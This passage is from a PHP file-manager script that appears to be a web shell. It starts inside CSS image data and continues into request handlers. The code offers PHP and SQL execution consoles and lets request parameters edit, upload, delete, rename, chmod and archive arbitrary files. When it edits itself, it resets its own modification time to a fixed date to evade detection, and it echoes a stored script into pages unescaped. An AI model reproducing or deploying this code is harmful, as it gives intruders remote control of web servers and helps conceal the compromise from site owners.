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");
}

.file {
    background-image: url("data:image/png;base64,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");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg_ntimes)?'':'<tr><td class="row2" colspan="2">'.$msg_ntimes.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>

</table>
<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg_ntimes .= __('File updated');
		else $msg_ntimes .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg_ntimes .= (__('File updated')); 
		else $msg_ntimes .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        <?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        <?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg_ntimes .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php

} else {
                       
//quanxian gai bian hou xu yao xi tong chongqi
                    
    $msg_ntimes = '';

    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {

        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);

            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg_ntimes .= __('Error occurred');
                      
            } else {

		     		     $msg_ntimes .= __('Files uploaded').': '.$_FILES['upload']['name'];

		     	}
                       
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_khumfail(($path . $_REQUEST['delete']), true)) {
            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	$msg_ntimes .= __('Deleted').' '.$_REQUEST['delete'];
		     }
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
                      
            $msg_ntimes .= __('Error occurred');
        } else {
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['dirname'];
		     }

    } elseif(!empty($_POST['search_recursive'])) {
		     ini_set('max_execution_time', '0');
		     $search_data =  find_text_in_khumfail($_POST['path'], $_POST['mask'], $_POST['search_recursive']);

		     if(!empty($search_data)) {
                       
		     	$msg_ntimes .= __('Found in khumfail').' ('.count($search_data).'):<br>';

		     	foreach ($search_data as $filename) {
                    
		     		     $msg_ntimes .= '<a href="'.thangweb(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'" title="' . __('Edit') . '">'.basename($filename).'</a>&nbsp; &nbsp;';

		     	}
		     } else {
		     	$msg_ntimes .= __('Nothing founded');

		     }	

	} elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {

        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {

            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	fclose($fp);
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['filename'];
		     }

    } elseif (isset($_GET['zip'])) {
		     $source = base64_decode($_GET['zip']);
		     $destination = basename($source).'.zip';
                      
		     set_time_limit(0);

		     $phar = new PharData($destination);

		     $phar->buildFromDirectory($source);
                      
		     if (is_file($destination))
                     
		     $msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     '.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		     .'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';

		     else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['gz'])) {

		     $source = base64_decode($_GET['gz']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
		     if (is_file($archive)) unlink($archive);

		     if (is_file($archive.'.gz')) unlink($archive.'.gz');
                       
		     clearstatcache();

		     set_time_limit(0);

		     //die();
		     $phar = new PharData($destination);
		     $phar->buildFromDirectory($source);

		     $phar->compress(Phar::GZ,'.tar.gz');
		     unset($phar);
		     if (is_file($archive)) {

		     	if (is_file($archive.'.gz')) {
		     		     unlink($archive); 
		     		     $destination .= '.gz';

		     	}


                       
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
                       
		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['decompress'])) {

		     // $source = base64_decode($_GET['decompress']);
		     // $destination = basename($source);
                     
		     // $ext = end(explode(".", $destination));

		     // if ($ext=='zip' OR $ext=='gz') {

		     	// $phar = new PharData($source);

		     	// $phar->decompress();
                     
		     	// $base_file = str_replace('.'.$ext,'',$destination);

		     	// $ext = end(explode(".", $base_file));

		     	// if ($ext=='tar'){
		     		     // $phar = new PharData($base_file);
                    
		     		     // $phar->extractTo(dir($source));

		     	// }

		     // } 

		     // $msg_ntimes .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');

	} elseif (isset($_GET['gzfile'])) {

		     $source = base64_decode($_GET['gzfile']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
                     
		     if (is_file($archive)) unlink($archive);
		     if (is_file($archive.'.gz')) unlink($archive.'.gz');

		     set_time_limit(0);
		     //echo $destination;
                       
		     $ext_arr = explode('.',basename($source));
		     if (isset($ext_arr[1])) {
                     
		     	unset($ext_arr[0]);

		     	$ext=implode('.',$ext_arr);
		     } 

		     $phar = new PharData($destination);

		     $phar->addFile($source);

		     $phar->compress(Phar::GZ,$ext.'.tar.gz');

		     unset($phar);

		     if (is_file($archive)) {
